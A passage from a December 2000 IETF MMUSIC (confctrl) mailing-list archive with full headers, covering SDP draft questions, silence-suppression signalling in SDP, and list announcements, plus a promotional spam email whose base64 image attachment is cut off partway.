and WWW announcements as transport options for SDP, but SIP is never
mentioned anywhere (There are no references either). Is this an omission
because SIP is so evident as transport, or is there another reason?

Henry

Henry Sinnreich
WorldCom
400 International Parkway,
Richardson, Texas, USA




From confctrl-owner  Mon Dec 11 08:11:07 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id IAA08028
	for confctrl-outgoing; Mon, 11 Dec 2000 08:11:07 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id IAA08018
	for <confctrl@zephyr.isi.edu>; Mon, 11 Dec 2000 08:11:04 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id IAA07237;
	Mon, 11 Dec 2000 08:11:00 -0800 (PST)
Received: from bart.cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA15206;
	Mon, 11 Dec 2000 11:10:58 -0500 (EST)
Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191])
	by bart.cs.columbia.edu (8.9.3/8.9.3) with ESMTP id LAA26197;
	Mon, 11 Dec 2000 11:10:57 -0500 (EST)
Message-ID: <3A3527B4.6397DD33@cs.columbia.edu>
Date: Mon, 11 Dec 2000 11:15:00 -0800
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University
X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Henry Sinnreich <Henry.Sinnreich@wcom.com>
CC: confctrl@ISI.EDU, Mark Handley <mjh@ISI.EDU>,
        sip-admin@lists.bell-labs.com, casner@acm.org, csp@ISI.EDU
Subject: Re: New SDP draft makes no mention of SIP
References: <NEBBLDFFKGAJDPBENMDNCEPPDEAA.Henry.Sinnreich@wcom.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Historical - the SDP draft is a copy of the current RFC, which preceded
SIP.

Henry Sinnreich wrote:
> 
> The new SDP draft <draft-ietf-mmusic-sdp-new-00.txt> mentions SAP, e-mail
> and WWW announcements as transport options for SDP, but SIP is never
> mentioned anywhere (There are no references either). Is this an omission
> because SIP is so evident as transport, or is there another reason?
> 
> Henry
> 
> Henry Sinnreich
> WorldCom
> 400 International Parkway,
> Richardson, Texas, USA

From confctrl-owner  Mon Dec 11 09:04:38 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id JAA09909
	for confctrl-outgoing; Mon, 11 Dec 2000 09:04:38 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA09902
	for <confctrl@zephyr.isi.edu>; Mon, 11 Dec 2000 09:04:37 -0800 (PST)
Received: from purple.east.isi.edu ([207.137.72.97])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA22132;
	Mon, 11 Dec 2000 09:04:35 -0800 (PST)
Received: from purple.east.isi.edu (localhost [127.0.0.1])
	by purple.east.isi.edu (8.9.3/8.8.7) with ESMTP id LAA04839;
	Mon, 11 Dec 2000 11:59:40 -0500
Message-Id: <200012111659.LAA04839@purple.east.isi.edu>
To: Henning Schulzrinne <hgs@cs.columbia.edu>
cc: Henry Sinnreich <Henry.Sinnreich@wcom.com>, confctrl@ISI.EDU,
        Mark Handley <mjh@ISI.EDU>, sip-admin@lists.bell-labs.com,
        casner@acm.org
Subject: Re: New SDP draft makes no mention of SIP 
In-Reply-To: Message from Henning Schulzrinne <hgs@cs.columbia.edu> 
   of "Mon, 11 Dec 2000 11:15:00 PST." <3A3527B4.6397DD33@cs.columbia.edu> 
Date: Mon, 11 Dec 2000 08:59:40 -0800
From: Colin Perkins <csp@ISI.EDU>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

We're looking to collect updates and fixes to the draft: if you can suggest
explicit wording changes, that would be appreciated.
Colin


--> Henning Schulzrinne writes:
>Historical - the SDP draft is a copy of the current RFC, which preceded
>SIP.
>
>Henry Sinnreich wrote:
>> 
>> The new SDP draft <draft-ietf-mmusic-sdp-new-00.txt> mentions SAP, e-mail
>> and WWW announcements as transport options for SDP, but SIP is never
>> mentioned anywhere (There are no references either). Is this an omission
>> because SIP is so evident as transport, or is there another reason?
>> 
>> Henry
>> 
>> Henry Sinnreich
>> WorldCom
>> 400 International Parkway,
>> Richardson, Texas, USA

From confctrl-owner  Mon Dec 11 10:41:11 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id KAA13288
	for confctrl-outgoing; Mon, 11 Dec 2000 10:41:11 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id KAA13283
	for <confctrl@zephyr.isi.edu>; Mon, 11 Dec 2000 10:41:10 -0800 (PST)
Received: from hoemail2.firewall.lucent.com (hoemail2.lucent.com [192.11.226.163])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id KAA20990
	for <confctrl@ISI.EDU>; Mon, 11 Dec 2000 10:41:02 -0800 (PST)
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1])
	by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id NAA16145
	for <confctrl@ISI.EDU>; Mon, 11 Dec 2000 13:41:01 -0500 (EST)
Received: from teton.mh.lucent.com (h135-3-130-2.lucent.com [135.3.130.2])
	by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id NAA16141;
	Mon, 11 Dec 2000 13:41:00 -0500 (EST)
Received: from lucent.com (pctla [135.3.130.39])
	by teton.mh.lucent.com (8.8.8+Sun/8.8.8) with ESMTP id NAA16186;
	Mon, 11 Dec 2000 13:39:27 -0500 (EST)
Message-ID: <3A35203B.B6E7BD7@lucent.com>
Date: Mon, 11 Dec 2000 13:43:12 -0500
From: Terry L Anderson <tla@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.75 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
CC: mmusic <confctrl@ISI.EDU>
Subject: Re: silence suppression in SDP
References: <B65B4F8437968F488A01A940B21982BF9AAD15@DYN-EXCH-001.dynamicsoft.com>
Content-Type: multipart/mixed;
 boundary="------------12CC1B18C1D9ED417429EEA7"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

This is a multi-part message in MIME format.
--------------12CC1B18C1D9ED417429EEA7
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Jonathan -

Thanks for your reply.  I didn't respond immediately because I had to do a
little research, but I think that there are several reasons the method you
suggest does not solve the complete problem.

Some codecs (e.g., G.723.1 Annex A) have an option to support silence
suppression.  So one must indicate whether you support the option.  I suppose
that one could define different payload types for G.723.1 with silence
suppression and G.723.1 without silence suppression, but it is really NOT an
additional payload type when included as a codec option.  Silence may be simply
an absence of packets for some codecs.  (I realize that there are also schemes
for transmitting silence and comfort noice as additional payload types).  H.245
uses booleans to indicate codec options such as silence suppression and high and
low bitrate choices in G.723.

Also some systems may have a difficulty in supporting multiple payload types.
Although H.248 allows this, some systems will avoid it if they use H.245
elsewhere in the system, since H.245 does NOT permit multiple payload types in a
single logical channel.

So while your scheme may serve some cases, I think that there is still the need
for a boolean value to be transmitted in an a= parameter for some codecs.
Whether all the other data is needed or not, I do not have as strong a
position.  I do believe that comfort noise type is useful for cases where noise
is simply generated at the far end and no payload packages are transmitted.

I also think that it is useful to have a consistent scheme.  I see no reason
that this is any different with ATM or RTP bearer channels so it would be nice
to have it outside the atm bearer specification or at least modify it in the
same way that is adopted for RTP.

Jonathan Rosenberg wrote:

> I believe the reason this is absent from SDP is the origins of SDP as an
> mbone session description. In the mbone, with large conferences, silence
> suppression was a given; you cannot have multi-party conferences with
> hundreds of people if all the listeners were always sending dead silence. As
> a result, it didn't need to be signaled since it was mandatory to support.
>
> Its unfortunate, I guess, that we have many implementations of systems today
> that don't do silence suppression (or at least can't handle receiving no
> data and treating it as silence). Sad as that may be, I suppose since they
> exist we need to support the ability to indicate receipt of silence or not.
>
> I looked at the silence suppression support in draft-ietf-mmusic-sdp-atm,
> and think it is overkill. I fail to understand why most of that information
> needs to be conveyed at all. I prefer a simpler approach. Silence can be
> conveyed in actual RTP packets; indeed, there is an RTP payload format for
> comfort noise. As such, this is handled by listing the comfort noise payload
> type on the m line. Basically, we can also consider 'no RTP' as another
> payload type, and list it as well. Thus:
>
> m=audio 3048 RTP/AVP 0 89
> a=rtpmap:89 silence
>
> This indicates I can receive PCMU and silence. In fact, payload type 89
> would never be sent at all. But, it provides the same structure as the case
> where a real comfort codec was being used:
>
> m=audio 3048 RTP/AVP 0 89
> a=rtpmap:89 CN
>
> -Jonathan R.
>
> ---
> Jonathan D. Rosenberg                       72 Eagle Rock Ave.
> Chief Scientist                             First Floor
> dynamicsoft                                 East Hanover, NJ 07936
> jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
> http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
> http://www.dynamicsoft.com
>
>
> > -----Original Message-----
> > From: Terry L Anderson [mailto:tla@lucent.com]
> > Sent: Wednesday, November 22, 2000 3:06 PM
> > To: mmusic
> > Subject: silence suppression in SDP
> >
> >
> > We are working on implementations of H.248 (MEGACO) and one need is to
> > control silence suppression on RTP connnections for some
> > codecs.  H.245
> > carries this along with other media parameters during media channel
> > negotiation.  It would seem that H.248
> > (text mode) and SIP that use SDP for media channel
> > specifications would
> > need the same feature, but RFC 2327 for SDP does not have such a
> > parameter.
> >
> > draft-ietf-mmusic-sdp-atm-02.txt introduces such a feature for ATM
> > bearer connections but there appears to be no such feature for RTP
> > bearer connections.
> >
> > Am I missing something?  Has this been discussed in the past?
> >  Is there
> > another way this should be done or is it common belief that
> > this should
> > be outside SDP?
> >
> > I notice that there is a new I-D on SDP.  I assume that this indicates
> > the beginning of work on a new version.  Would it be
> > appropriate to add
> > support for silence suppression similar to the sdp-atm
> > specification to
> > the new SDP?
> >
> >
> > --
> > ------------------------------------------------------------
> > Terry L Anderson              mailto:tla@lucent.com
> > Tel:908.582.7013   Fax:908.582.6729
> > Pager:800.759.8352 pin 1704572   1704572@skytel.com
> > Lucent Technologies/ Voice Over IP Access Networks/ Applications Grp
> > Rm 2B-121, 600 Mountain Av, Murray Hill, NJ 07974
> > http://its.lucent.com/~tla (Lucent internal) http://www.gti.net/tla
> >
> >

--
------------------------------------------------------------
Terry L Anderson              mailto:tla@lucent.com
Tel:908.582.7013   Fax:908.582.6729
Pager:800.759.8352 pin 1704572   1704572@skytel.com
Lucent Technologies/ Voice Over IP Access Networks/ Applications Grp
Rm 2B-121, 600 Mountain Av, Murray Hill, NJ 07974
http://its.lucent.com/~tla (Lucent internal) http://www.gti.net/tla


--------------12CC1B18C1D9ED417429EEA7
Content-Type: text/x-vcard; charset=us-ascii;
 name="tla.vcf"
Content-Transfer-Encoding: 7bit
Content-Description: Card for Terry L Anderson
Content-Disposition: attachment;
 filename="tla.vcf"

begin:vcard 
n:Anderson;Terry L
tel;pager:800.759.8352 pin 1704572
tel;fax:908.582.6729
tel;work:908.582.7013
x-mozilla-html:TRUE
url:http://its.lucent.com/~tla
org:Lucent / InterNetworking Systems;VoIP Access Networks / Applications Group
version:2.1
email;internet:tla@lucent.com
title:DMTS
adr;quoted-printable:;;600 Mountain Av=0D=0ARm 2B-121;Murray Hill;NJ;07974;USA
note;quoted-printable:http://www.gti.net/tla  or http://teton.mh.lucent.com/~tla (Lucent internal)=0D=0A18E343126 / 10034134
x-mozilla-cpt:;-23792
fn:Terry L Anderson
end:vcard

--------------12CC1B18C1D9ED417429EEA7--


From confctrl-owner  Tue Dec 12 09:24:35 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id JAA03910
	for confctrl-outgoing; Tue, 12 Dec 2000 09:24:35 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id JAA03905
	for <confctrl@zephyr.isi.edu>; Tue, 12 Dec 2000 09:24:34 -0800 (PST)
Received: from nmh.informatik.uni-bremen.de (nmh.informatik.uni-bremen.de [134.102.224.3])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id JAA02738
	for <confctrl@isi.edu>; Tue, 12 Dec 2000 09:24:26 -0800 (PST)
Received: from plumps (daemon.informatik.uni-bremen.de [134.102.218.45])
	by nmh.informatik.uni-bremen.de (8.10.1/8.10.1) with SMTP id eBCHO3912033;
	Tue, 12 Dec 2000 18:24:04 +0100 (MET)
Message-Id: <200012121724.eBCHO3912033@nmh.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Tue, 12 Dec 2000 18:22:42 +0100
To: "Dean Willis" <dean.willis@softarmor.com>,
        "IETF SIP (E-mail)" <sip@lists.bell-labs.com>
From: Joerg Ott <jo@tzi.uni-bremen.de>
Subject: Re: [SIP] Planned Bar-BOF on SIP Security, Thursday 14, 2000
Cc: confctrl@ISI.EDU
In-Reply-To: <003501c06403$cb49ba20$e64a89cf@dynamicsoft.com>
References: <008601c05e4c$797a0860$ea036e3f@dynamicsoft.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Thanks for the clarification.  We have planned an SDPng bar discussion on
Wednesday at 2200 -- so there is no overlap anymore.

>Please note, the slides I showed during the Monday SIP session incorrectly
>indicated the Security BOF on Wednesday at 2200. The correct (according to
>the original posting) time is Thursday at 2000.

Joerg



From confctrl-owner  Tue Dec 12 18:57:51 2000
Return-Path: <owner-confctrl>
Received: by zephyr.isi.edu (8.9.3/8.9.3) id SAA26429
	for confctrl-outgoing; Tue, 12 Dec 2000 18:57:51 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id SAA26423
	for <confctrl@zephyr.isi.edu>; Tue, 12 Dec 2000 18:57:49 -0800 (PST)
Received: from redball.dynamicsoft.com (redball.dynamicsoft.com [216.173.40.51])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id SAA13975
	for <confctrl@isi.edu>; Tue, 12 Dec 2000 18:57:48 -0800 (PST)
Received: from DYN-EXCH-001.dynamicsoft.com ([216.173.40.50])
	by redball.dynamicsoft.com (8.9.3+Sun/8.10.0.Beta12) with ESMTP id WAA19640;
	Tue, 12 Dec 2000 22:00:05 -0500 (EST)
Received: by DYN-EXCH-001.dynamicsoft.com with Internet Mail Service (5.5.2650.21)
	id <X20758N5>; Tue, 12 Dec 2000 21:55:15 -0500
Message-ID: <B65B4F8437968F488A01A940B21982BF9AAE0E@DYN-EXCH-001.dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
To: "'sip@lists.bell-labs.com'" <sip@lists.bell-labs.com>,
        "'impp@iastate.edu'" <impp@iastate.edu>,
        "'sip-events@egroups.com'"
	 <sip-events@egroups.com>,
        "'confctrl@isi.edu'" <confctrl@ISI.EDU>
Subject: SIP for Presence Mailing List
Date: Tue, 12 Dec 2000 21:55:06 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

We've set up a mailing list for the SIP for Presence group (SIMPLE) that met
today at IETF:

Post message:  ietf-simple@egroups.com
Subscribe: ietf-simple-subscribe@egroups.com
Unsubscribe: ietf-simple-unsubscribe@egroups.com
List owner: ietf-simple-owner@egroups.com
URL to this page: http://www.egroups.com/group/ietf-simple

I'd encourage everyone to subscribe. 

Thanks,
Jonathan R.
---
Jonathan D. Rosenberg                       72 Eagle Rock Ave.
Chief Scientist                             First Floor
dynamicsoft                                 East Hanover, NJ 07936
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.cs.columbia.edu/~jdrosen         PHONE: (973) 952-5000
http://www.dynamicsoft.com
 

From confctrl-owner  Wed Dec 13 14:01:23 2000
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.9.3/8.9.3) id OAA14386
	for confctrl-outgoing; Wed, 13 Dec 2000 14:01:23 -0800 (PST)
Received: from gamma.isi.edu (gamma.isi.edu [128.9.144.145])
	by zephyr.isi.edu (8.9.3/8.9.3) with ESMTP id OAA14381
	for <confctrl@zephyr.isi.edu>; Wed, 13 Dec 2000 14:01:22 -0800 (PST)
Received: from arka.ids.bielsko.pl (arka.ids.bielsko.pl [195.117.233.8])
	by gamma.isi.edu (8.9.3/8.9.3) with ESMTP id OAA00941
	for <confctrl@ISI.EDU>; Wed, 13 Dec 2000 14:01:20 -0800 (PST)
Received: by arka.ids.bielsko.pl (8.9.3/8.9.3) id WAA08458
	for confctrl@ISI.EDU; Wed, 13 Dec 2000 22:58:17 +0100 (MET)
Date: Wed, 13 Dec 2000 22:58:17 +0100 (MET)
Message-Id: <200012132158.WAA08458@arka.ids.bielsko.pl>
Subject: New European Promotional Contest
From: office@euroleader.org
MIME-Version: 1.0
To: confctrl@ISI.EDU
Content-Type: multipart/alternative;
 boundary="------------48341065131CC06C7C7DB866"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk



--------------48341065131CC06C7C7DB866
Content-Type: text/plain; charset=iso-8859-2
Content-Transfer-Encoding: 8bit

                               Dear Sirs,

We are very pleased to welcome you and present a new economic initiative

 for producers from all European countries - both western and eastern.

   FOR THE FIRST TIME - ON SUCH A LARGE SCALE  - IN THE VERY HEART OF
                                EUROPE!

                                [Image]

                           "EURO LEADER 2001"


     This is an honourable title and prestigious Promotional Emblem
                    in European Promotional Contest.

     This is an effective tool of promotion and marketing in Europe
        especially on emerging markets of Poland, Czech, Hungary
              and other markets also Russian and Ukrainian.

The contest is a Polish initiative.
It will be settled in March, 2001 in Warsaw. Therefore it will bring the
best commercial effects on a stable, almost 40-million
prospective customers Polish market, having over 5% economic growth,
which will soon become an integral market of
European Union.

Click http://www.euroleader.org/ and get acquainted with the details of
the contest, enter for the European
competition with the participation of eastern market

 Join new markets. It will bring you success and a good start in the XXI
                                century!

Yours faithfully,

INTERRES International Building Fair and Promotion - from Poland
B2B - Internet Portal
Tadeusz Ziobro - President.


--------------48341065131CC06C7C7DB866
Content-Type: multipart/related;
 boundary="------------9965E82385A6EB74B08966FB"


--------------9965E82385A6EB74B08966FB
Content-Type: text/html; charset=iso-8859-2
Content-Transfer-Encoding: 8bit

<!doctype html public "-//w3c//dtd html 4.0 transitional//en">
<html>

<center><b><font size=+1>Dear Sirs,</font></b>
<p>We are very pleased to welcome you and present a new economic initiative
<br>for producers from all European countries - both western and eastern.
<p><b><font size=+1>FOR THE FIRST TIME - ON SUCH A LARGE SCALE&nbsp; -
IN THE VERY HEART OF EUROPE!</font></b>
<p><img SRC="cid:part1.3A34BA09.E07BF8C9@netra.bielsko.pl" height=120 width=120>
<p><b><font size=+1>"EURO LEADER 2001"</font></b>
<br>&nbsp;
<p>This is an honourable title and prestigious Promotional Emblem
<br>in European Promotional Contest.
<p>This is an effective tool of promotion and marketing in Europe
<br>especially on emerging markets of Poland, Czech, Hungary
<br>and other markets also Russian and Ukrainian.</center>

<p><br>
<br>
<br>
<br>
<p>The contest is a Polish initiative.
<br>It will be settled in March, 2001 in Warsaw. Therefore it will bring
the best commercial effects on a stable, almost 40-million
<br>prospective customers Polish market, having over 5% economic growth,
which will soon become an integral market of
<br>European Union.
<p><b>Click <a href="http://www.euroleader.org/">http://www.euroleader.org/</a>
and get acquainted with the details of the contest, enter for the European</b>
<br><b>competition with the participation of eastern market</b>
<center>
<p><b>Join new markets. It will bring you success and a good start in the
XXI century!</b></center>

<p>Yours faithfully,
<p>INTERRES International Building Fair and Promotion - from Poland
<br>B2B - Internet Portal
<br><i>Tadeusz Ziobro - President.</i>
<br>&nbsp;</html>

--------------9965E82385A6EB74B08966FB
Content-Type: image/jpeg
Content-ID: <part1.3A34BA09.E07BF8C9@netra.bielsko.pl>
Content-Transfer-Encoding: base64
Content-Disposition: inline; filename="C:\WINDOWS\TEMP\nsmail37.jpeg"

/9j/4AAQSkZJRgABAgEASABIAAD//gAmRmlsZSB3cml0dGVuIGJ5IEFkb2JlIFBob3Rvc2hv
cKggNS4w/+4ADkFkb2JlAGSAAAAAAf/bAIQADAgICAkIDAkJDBELCgsRFQ8MDA8VGBMTFRMT
GBEMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAENCwsNDg0QDg4QFA4ODhQU
Dg4ODhQRDAwMDAwREQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM/8AAEQgA
eAB4AwEiAAIRAQMRAf/dAAQACP/EAT8AAAEFAQEBAQEBAAAAAAAAAAMAAQIEBQYHCAkKCwEA
AQUBAQEBAQEAAAAAAAAAAQACAwQFBgcICQoLEAABBAEDAgQCBQcGCAUDDDMBAAIRAwQhEjEF
QVFhEyJxgTIGFJGhsUIjJBVSwWIzNHKC0UMHJZJT8OHxY3M1FqKygyZEk1RkRcKjdDYX0lXi
ZfKzhMPTdePzRieUpIW0lcTU5PSltcXV5fVWZnaGlqa2xtbm9jdHV2d3h5ent8fX5/cRAAIC
AQIEBAMEBQYHBwYFNQEAAhEDITESBEFRYXEiEwUygZEUobFCI8FS0fAzJGLhcoKSQ1MVY3M0
8SUGFqKygwcmNcLSRJNUoxdkRVU2dGXi8rOEw9N14/NGlKSFtJXE1OT0pbXF1eX1VmZ2hpam
tsbW5vYnN0dXZ3eHl6e3x//aAAwDAQACEQMRAD8A1Prf9b+sdH6w/FxXtNRaHAOHCxP/ABx/
rF+8z7kv8Y//AIonf1AuVWjixQMIkxGy0kvVf+OP9Yv3mfcl/wCOP9Yv3mfcuVST/Zx/uhVl
6r/xyPrF+8z7kv8AxyPrF+8z7lysGJ7BJL2cf7oVZeq/8cj6xeLPuS/8cf6x6ElgB40WJ0bA
wOoZQxcvN+wF8Cq1zNzC4/mWO3N9Jdz176jdOp6LhG7Pbhs6ZW5l2S9kize71Poh30/UPsUU
/ZhIRMRr4K1cH/xyPrF+8z7kv/HH+sX7zPuXMXCltrxQ51lQMMe9u1zh+85ku2KHMAak6AfF
Sezj/dH2KsvVf+OP9Yv3mfcl/wCOP9Yv3mfcuby8W/DybMXIbsupdssb4EIKXtYz+iFWXqv/
ABx/rF+8z7kv/HH+sX7zPuXKpI+zj/dCrL6L9UPrf1jrHWGYuU9oqDS4ho5SWJ/i3/8AFE3+
oUlD7cPf4eEVw7KvR//QB/jH/wDFE7+oFyq6r/GP/wCKJ39QLlVqYf5uPksO6kTHZTZexl9v
oVOMPt2l+0fvbG+5yjsfsNm07AdpdGm4jdtn+qo69k9T6P0z6g0P+r2ZSzNpyH55rsx8tjSW
NFR3N7/nS/euE6rhYmDknGxsxudskWW1tLaw4fmse4/pVu4f19zOm14eH0+hg6diV+nZTYPd
cT/PWPsH8179/p7f+uLmsh1Lr7HUNLKXPc6tjuWtJ3NYY/dUOKOQSkZnQ6jb8UmmeBdRRm0X
5FZtpqe176hA3bTuDJP7zlu5n146n1LGzcPqbGXYuY39FWwBpoe33Uuqd+e1u3371zaSklCM
iCRZG3gi1fFdZ9Q6ei5/Uq8DOwPVyWTdTlNe6B6fv25FW7Z9L6D1yasYnUMvCbc3FsNJyWen
a9uj9k7jW1/5m/8AP2pZImUSAaP2KD3f+MSroeG5uV9g+0Z/UAYyS9wqbsDWb9rHfpLdv5q8
8Vh2flvwW9PfYX4tb/VqrdrsdG13pu+kxr/zmKvwJPZDFAwjwk34pKklYzcHJwbW05Ldj31s
uaP5NjfUZ/0VXTwb1CHqv8W//iib/UKSX+Lf/wAUTf6hSUH/AII/wU9H/9EH+Mf/AMUTv6gX
N4bcN2Qxuc+yvHOj7KQHPb/K2Pjcuk/xkf8Aiid/UC5XQ88d4Wni/mo+S07vqFH1K6I/6quo
ZnOdjW2DOHUNoBDWtj6H7npb15xns6fXkuZ062y/GboLrWhhcf3mMb9Gv93ctofXvrNeTW6n
YzBprFDOnxNRqA2RY76brXf6Vc67aXHYNrZO1p1gfmt/soYYZIk8Zu9Qo0skr1HQus5NLL6M
O2yqwSx7QII4THonVxkDFOJZ9ocw2Nqj3FgO0vS+84LI97Hcb4hxxuPD83Erhl2P2NJJXP2P
1T7WMI4tn2ot3imPdt/fSPRuqjKGH9ls+1FnqCmPds/fS+8Yf87D5eP54/zf7/8Ac/rK4T2L
TSV+3oPW6mF9mDcGjk7Z/wCpVKuqy2xtVTHPseYaxoJcT4bU6GbFMGUMkZiPzGMoyEfPhUYk
bgsV0H1PPTMjqdXTOo9OZnNyn7WWy4PrMbvdtc1tlPt9yz7fq/1umo22YVrWDUnbMR4hqrYe
dlYNjrsSw1WuY6v1G/Sa130/Td+Y530d6aMmPNCXtZIzrS8cuLhl5wUQRuCPN9K+v37ExsBn
UX9Prz8gn7LVaXHZXG5w9X0nDds93sXl5MmdBOunCNXm5VeLbhtsP2a8h1lR1aXtMttG76Nv
8tARxY+CNE8Xj4KJt6r/ABb/APiib/UKSX+Lf/xRN/qFJM/8Ef4Kuj//0gf4yP8AxRO/qBc3
i4eRmOsZjsL3VVvuePBlY32OXSf4xzH1jJiYYNDwun+oNHQcrAtz6MAYV75xLyXudW+Yc5tP
qO/P/dV/3PbwxNXoFtavl3mkFu/W1nSMTqVvTemYH2QYj9llr3Oc95j8xrnOayrX+2sIKeMu
IA1V90PpP1eJ/wCbOIRYKSKTFroIb7ne87vaqeFbY/62NbZlMzdmG6Law1oEunZ+iLmqj0n6
2dHxekUdPyqrbHVsLLQGhzDJcY1P8pUr/rL0/H6zj5/SsYV011Gq6na2vfuPujZ+d/KXIQ+F
85LPz49iQ98Z/anIY+A8fqh+s/nI8f8AiNw5YcOP1D08Nh3Xf+Lqv/wmVJ//AIuKv/CJ/KVW
/wCeH1b9cZxx7ftmz0w7YN23/R7921ZVH1pod9Y3dWy63MoFJprrZDnAfmzwm4vh/OzEieXn
j9rkZcp6+G8ub/VqOSAr1A3Pj8g9q05rMy6yx9bcBtbTWPzw8fzrnO/0e1ZH1cb07L6r1Tqm
IGkPtbXU+IgbZssaPzfWeqVf15xB1C57mWuwXsb6Ygbm2DR/tn+bsWVhfWPF6X1bIu6ex1nT
8shz8d8Nc13P6Plvs/NUfL/Bue9jmoHFLHlyYMccfDUMOSMZQyZcWT/yo9H/AKUTLNDiibsA
m+48f7r03S/rFkZ3WcnpzsU1Mo3bbZM+w7f0kjb+k/NXKfXDFpxuuWikBjbWNtcwaAOcPdH9
b6S6G76+9HbWXU1W2XEfQIDBP8uyVxnUM7I6jmWZmQQbLTwOAB9Fjf5LFo/BOR5jHzks55Y8
lg9kYjjlPj93KOH9Z6mPPOJgI8XHK7vsELKrXgllbngclrS6PjtC0+qfV/M6djdPudXY451H
rOaGk7Xbv5v2/wDB+k9T+qmf1LE6zjMwLvS+0WNZcH61mv6Vjrmn/R17nb/zF3fX/rji5XR8
7/m/mN+24hBedvuNUhl1uLv+nt3fzi38mScZxAAIO/19Pqa4Dy/+Llrm/WMNcC1wYZBEEfFJ
L/F05z/rJve4ve5pLnOMkk/nOJSQ/wDBH+Aro//TB/jI/wDFE7+oFzz+o5j8WjD9VzMfGJfV
Ww7RvJ3G5236Vv8ALXQ/4yP/ABRO/qBcoSBqTHxWniAOOHktO7Yzc7Kz7vtGW/1b9rWOsP0n
Bg2sNn7z9v56AeCrf7Nv/Y/7Y0+zfaPs0/ytu/du/wCgqcgg7TPwUka6dNEPR/Wqqqvp/RzW
xrC7HJcWgAnRn0o+ktPJqya/qtjWYmHj21uxT9rueAHsEaWV/vvVTrD+jdR6PiOHUGsycLHh
tAEl7y1v6M/u/RUc67puZ0DCrHUhRfiY53YzZPqOI/mX8N/NXMAzli5OBjkBxc1m97jxZ5xq
css8XycHHH1Q4J/zcGzoDM6axFUYtn6mdPxremZD8ljXnMsNFRcAT7WH6O5VvqrW3Gp6w62l
ltmGyQ2xocNzN/j/AFUfC650jp3TukYzgMiyt3qWvY4j0bHfSfY2P0nts+ip42Z0VvUOts+2
114+e1vpW6kS5p9Tbp+Y5Mzy5mUueM8eb2uYljnj9Mj6OV5qGGXt8Hr9eD1/KmPD6KIuII/x
otDruNg5XSsDruLS3GfkvFeRSzRu6eWt/rNWn9casijprhj4dDcJzGC3JADbGvJ0awN/NWR1
3qXThgYXRumPN2PhuD7LyI3O/k/e5zlb+td/TOoU/asbqQc+uprBhtmHkH6Wvt3NlS48eYZf
h5nHIMUcvMGAywy5ZQwe7j+6xy8H83Pg/m5Z/wCbQTGslVdR2r5v0nZx8VtlXTqX4dD+n3Ym
7MvcxoLXBrdh9T81ef3NY26xtZ3Vh7gw+LQfb/0V2ret9Jtw6emX5LBj3YPp2v1hlrdoa1+i
4gtIO3mDEjv8FY+A480ZcwcsZwsjhjIS4Zx483631/5X/J/7OGJbnIPDWv8ALZYGPyJAxxp8
Fq9D+r2Z1bKuobXZX6NFl0lpbLmj9DX7h/hLFmupvY3dZU9g4Jc1zRPh7gtwSBJF6jdgen/x
